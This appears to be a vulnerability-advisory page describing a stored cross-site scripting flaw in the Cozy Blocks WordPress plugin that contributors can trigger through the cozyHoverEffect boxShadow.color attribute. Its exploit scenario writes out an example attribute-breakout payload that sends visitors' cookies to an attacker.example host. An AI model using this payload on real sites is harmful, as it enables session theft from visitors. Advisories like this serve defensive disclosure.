EUVD-2026-65273
GHSA-459f-r367-v5r2
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
PR:L confirmed by contributor-level requirement; UI:R because a victim must visit the page to trigger execution; S:C reflects cross-session browser impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The Cozy Blocks - Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via cozyHoverEffect Block Attribute in all versions up to, and including, 2.2.16 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload survives wp_kses_post on save because it contains no angle brackets - only a double-quote breakout of the cozyHoverEffect.boxShadow.color attribute value - allowing event-handler injection at the render stage.
AnalysisAI
Stored Cross-Site Scripting in the Cozy Blocks WordPress plugin (all versions through 2.2.16) allows authenticated contributors to inject persistent JavaScript via a double-quote breakout in the cozyHoverEffect.boxShadow.color block attribute, bypassing WordPress's native wp_kses_post sanitization filter. Because the crafted payload contains no angle brackets, it passes the save-time sanitizer cleanly and executes as an event-handler injection at render time whenever any user visits the affected page. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid WordPress account with contributor-level role or higher - anonymous or subscriber-level users cannot exploit this vulnerability. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 base score of 6.4 (Medium) reflects network attack vector, low complexity, low privilege requirement, and a scope change that impacts the confidentiality and integrity of visitors' browser sessions. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a contributor account on a target WordPress site creates or edits a page using the cozyHoverEffect block and sets the boxShadow.color attribute to a value such as red" onmouseover="fetch('https://attacker.example/steal?c='+document.cookie) containing a double-quote breakout and an inline event handler. The payload is saved successfully because wp_kses_post sees no angle brackets and passes it. … |
| Remediation | A changeset (revision 3656701) has been committed to the WordPress plugin repository (https://plugins.trac.wordpress.org/changeset?reponame=&old=3656701%40cozy-addons&new=3656701%40cozy-addons), indicating an upstream fix exists; however, the exact released patched version number is not independently confirmed in the available data - site operators should update to the latest available version of the Cozy Blocks plugin via the WordPress dashboard and verify the installed version exceeds 2.2.16. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today